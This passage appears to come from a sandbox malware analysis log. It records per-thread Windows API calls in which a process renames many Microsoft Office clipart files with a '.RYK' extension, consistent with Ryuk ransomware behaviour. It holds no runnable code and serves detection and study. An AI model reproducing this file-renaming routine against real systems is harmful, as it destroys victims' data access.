	[0205.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.024] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1788
	os_tid = 0x21e0

	[0205.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF", dwFileAttributes=0x80) returned 0
	[0205.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.022] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1789
	os_tid = 0x21e4

	[0205.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF", dwFileAttributes=0x80) returned 0
	[0205.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.019] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1790
	os_tid = 0x21e8

	[0205.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF", dwFileAttributes=0x80) returned 0
	[0205.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1791
	os_tid = 0x21ec

	[0205.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF", dwFileAttributes=0x80) returned 0
	[0205.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.596] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1792
	os_tid = 0x21f0

	[0205.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF", dwFileAttributes=0x80) returned 0
	[0205.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.600] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1801
	os_tid = 0x2218


Thread:
	id = 1802
	os_tid = 0x221c

	[0205.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF", dwFileAttributes=0x80) returned 0
	[0206.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.291] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1803
	os_tid = 0x2220

	[0205.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF", dwFileAttributes=0x80) returned 0
	[0205.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.604] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1804
	os_tid = 0x2224

	[0205.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF", dwFileAttributes=0x80) returned 0
	[0205.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.608] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1805
	os_tid = 0x2228

	[0205.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF", dwFileAttributes=0x80) returned 0
	[0205.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.610] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1806
	os_tid = 0x222c

	[0205.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID", dwFileAttributes=0x80) returned 0
	[0205.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.612] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1807
	os_tid = 0x2230

	[0205.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF", dwFileAttributes=0x80) returned 0
	[0206.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.034] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1808
	os_tid = 0x2234

	[0205.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF", dwFileAttributes=0x80) returned 0
	[0205.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.617] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1809
	os_tid = 0x2238

	[0205.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF", dwFileAttributes=0x80) returned 0
	[0205.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.620] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1810
	os_tid = 0x223c

	[0205.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF", dwFileAttributes=0x80) returned 0
	[0205.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1811
	os_tid = 0x2240

	[0206.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF", dwFileAttributes=0x80) returned 0
	[0206.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1819
	os_tid = 0x2260

	[0206.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF", dwFileAttributes=0x80) returned 0
	[0206.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1820
	os_tid = 0x2264

	[0206.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF", dwFileAttributes=0x80) returned 0
	[0206.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.766] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1821
	os_tid = 0x2268

	[0206.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF", dwFileAttributes=0x80) returned 0
	[0206.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.768] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1822
	os_tid = 0x226c

	[0206.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF", dwFileAttributes=0x80) returned 0
	[0206.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.045] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.045] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1823
	os_tid = 0x2270

	[0206.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF", dwFileAttributes=0x80) returned 0
	[0206.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.048] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.048] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1824
	os_tid = 0x2274

	[0206.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF", dwFileAttributes=0x80) returned 0
	[0206.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.050] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1825
	os_tid = 0x2278

	[0206.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF", dwFileAttributes=0x80) returned 0
	[0206.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.053] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1826
	os_tid = 0x227c

	[0206.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF", dwFileAttributes=0x80) returned 0
	[0206.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.769] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1827
	os_tid = 0x2280

	[0206.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF", dwFileAttributes=0x80) returned 0
	[0206.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.056] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1828
	os_tid = 0x2284

	[0206.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF", dwFileAttributes=0x80) returned 0
	[0206.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.792] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1829
	os_tid = 0x2288

